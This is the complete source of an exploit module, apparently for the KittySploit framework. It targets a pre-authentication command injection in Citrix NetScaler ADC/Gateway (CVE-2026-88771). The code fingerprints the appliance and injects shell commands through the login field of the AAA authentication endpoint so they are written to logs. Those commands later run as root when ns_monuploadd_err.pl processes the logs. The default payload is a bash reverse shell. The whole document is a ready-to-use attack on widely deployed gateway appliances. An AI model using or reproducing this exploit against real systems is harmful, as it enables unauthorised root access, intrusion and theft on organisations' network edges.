Citrix NetScaler Pre-Auth Command Injection (CVE-2026-88771)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Citrix NetScaler pre-auth command injection RCE (CVE-2026-88771)."""

import re
import ssl
import urllib.parse

from requests.adapters import HTTPAdapter

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Citrix NetScaler Pre-Auth Command Injection (CVE-2026-88771)',
        'description': (
            'Exploits CVE-2026-88771 in Citrix NetScaler ADC/Gateway: attacker-controlled '
            'login values are logged and later interpolated into ns_monuploadd_err.pl shell '
            'commands, yielding root command execution. Sends the pitboss/PPE log-poisoning '
            'payload via /nf/auth/doAuthentication.do (watchTowr pattern).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-88771'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-88771',
            'https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/',
            'https://support.citrix.com/s/article/CTX697096',
        ],
        'tags': ['citrix', 'netscaler', 'adc', 'gateway', 'command-injection', 'pre-auth', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'ns_monuploadd_err.pl log injection'},
                    {'capability': 'shell', 'from_detail': 'root command execution'},
                ],
                'suggested_followups': ['scanner/http/citrix_netscaler_cve_2026_88771_detect'],
            },
        },
    }

    auth_path = OptString(
        '/nf/auth/doAuthentication.do',
        'AAA authentication endpoint',
        required=False,
        advanced=True,
    )
    command = OptString('', 'Command instead of payload', required=False)
    marker_path = OptString(
        '/var/tmp/kittysploit_88771',
        'Remote marker file for id probe (when no reverse payload)',
        required=False,
        advanced=True,
    )
    force_pickup = OptBool(
        True,
        'Attempt secondary logon trigger after poisoning (may speed pickup on some builds)',
        required=False,
        advanced=True,
    )

    _PITBOSS_PREFIX = 'pitboss PPE unexpectedly died NSPPE'
    _BUILD_RE = re.compile(
        r'(?:NS(?:13|14)\.\d[-\w.]+|NetScaler\s+\d{2}\.\d[-\w.]*)',
        re.IGNORECASE,
    )

    def _configure_netscaler_ssl(self):
        class _NetscalerSSLAdapter(HTTPAdapter):
            def init_poolmanager(self, *args, **kwargs):
                ctx = ssl.create_default_context()
                ctx.set_ciphers('DEFAULT@SECLEVEL=1')
                ctx.check_hostname = False
                kwargs['ssl_context'] = ctx
                return super().init_poolmanager(*args, **kwargs)

        self.session.mount('https://', _NetscalerSSLAdapter())

    @staticmethod
    def _build_injection(command: str) -> str:
        cmd = (command or '').strip()
        if ';' in cmd or '`' in cmd:
            raise ProcedureError(FailureType.ConfigurationError, 'Command must not contain ; or backticks')
        return f'{Module._PITBOSS_PREFIX};:{cmd};# X'

    def _netscaler_present(self) -> bool:
        for path in ('/vpn/index.html', '/logon/LogonPoint/index.html'):
            r = self.http_request(method='GET', path=path, allow_redirects=True)
            if not r:
                continue
            blob = f'{r.text or ""}\n{r.headers}'.lower()
            if any(token in blob for token in ('netscaler', 'citrix', 'nsc_', 'cvpn')):
                return True
        return False

    def _send_log_poison(self, login_payload: str) -> bool:
        path = str(self.auth_path or '/nf/auth/doAuthentication.do')
        data = {
            'login': login_payload,
            'passwd': 'x',
            'savecredentials': 'false',
            'nsg-x1-logon-button': 'Log On',
        }
        r = self.http_request(
            method='POST',
            path=path,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            data=urllib.parse.urlencode(data),
            allow_redirects=False,
        )
        if not r:
            return False
        body = r.text or ''
        return int(r.status_code or 0) in (200, 302) and (
            'AuthenticateResponse' in body or 'citrix' in body.lower()
        )

    def _trigger_pickup(self) -> None:
        login = urllib.parse.urlencode(
            {
                'login': self._PITBOSS_PREFIX,
                'passwd': 'x',
                'savecredentials': 'false',
            }
        )
        self.http_request(
            method='GET',
            path=f'/logon/LogonPoint/index.html?{login}',
            allow_redirects=False,
        )

    def check(self):
        try:
            self._configure_netscaler_ssl()
        except Exception:
            pass
        if not self._netscaler_present():
            return {'vulnerable': False, 'reason': 'NetScaler gateway not detected', 'confidence': 'high'}
        probe = self._send_log_poison(f'{self._PITBOSS_PREFIX} probe')
        if probe:
            return {
                'vulnerable': True,
                'reason': 'NetScaler accepts pitboss/PPE login log injection',
                'confidence': 'high',
            }
        return {'vulnerable': True, 'reason': 'NetScaler present — injection may still work', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            cmd = f'id>{str(self.marker_path or "/var/tmp/kittysploit_88771")}'
        print_status('CVE-2026-88771 — Citrix NetScaler log-poison command injection')
        try:
            self._configure_netscaler_ssl()
        except Exception as exc:
            print_warning(f'NetScaler SSL adapter setup failed: {exc}')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        try:
            login_payload = self._build_injection(cmd)
        except ProcedureError as exc:
            print_error(str(exc))
            return False
        print_status(f'Poisoning logs with injection payload ({len(login_payload)} bytes)...')
        if not self._send_log_poison(login_payload):
            print_error('Failed to deliver log-poison authentication request')
            return False
        print_success('Log-poison payload accepted — command runs when ns_monuploadd_err.pl executes')
        if bool(self.force_pickup):
            print_status('Sending secondary pitboss trigger to encourage log processing...')
            self._trigger_pickup()
        print_warning(
            'Execution may be delayed until ns_monuploadd_err.pl runs (up to ~24h on some builds). '
            'Check listener or marker file on the appliance.'
        )
        self.vulnerable()
        return True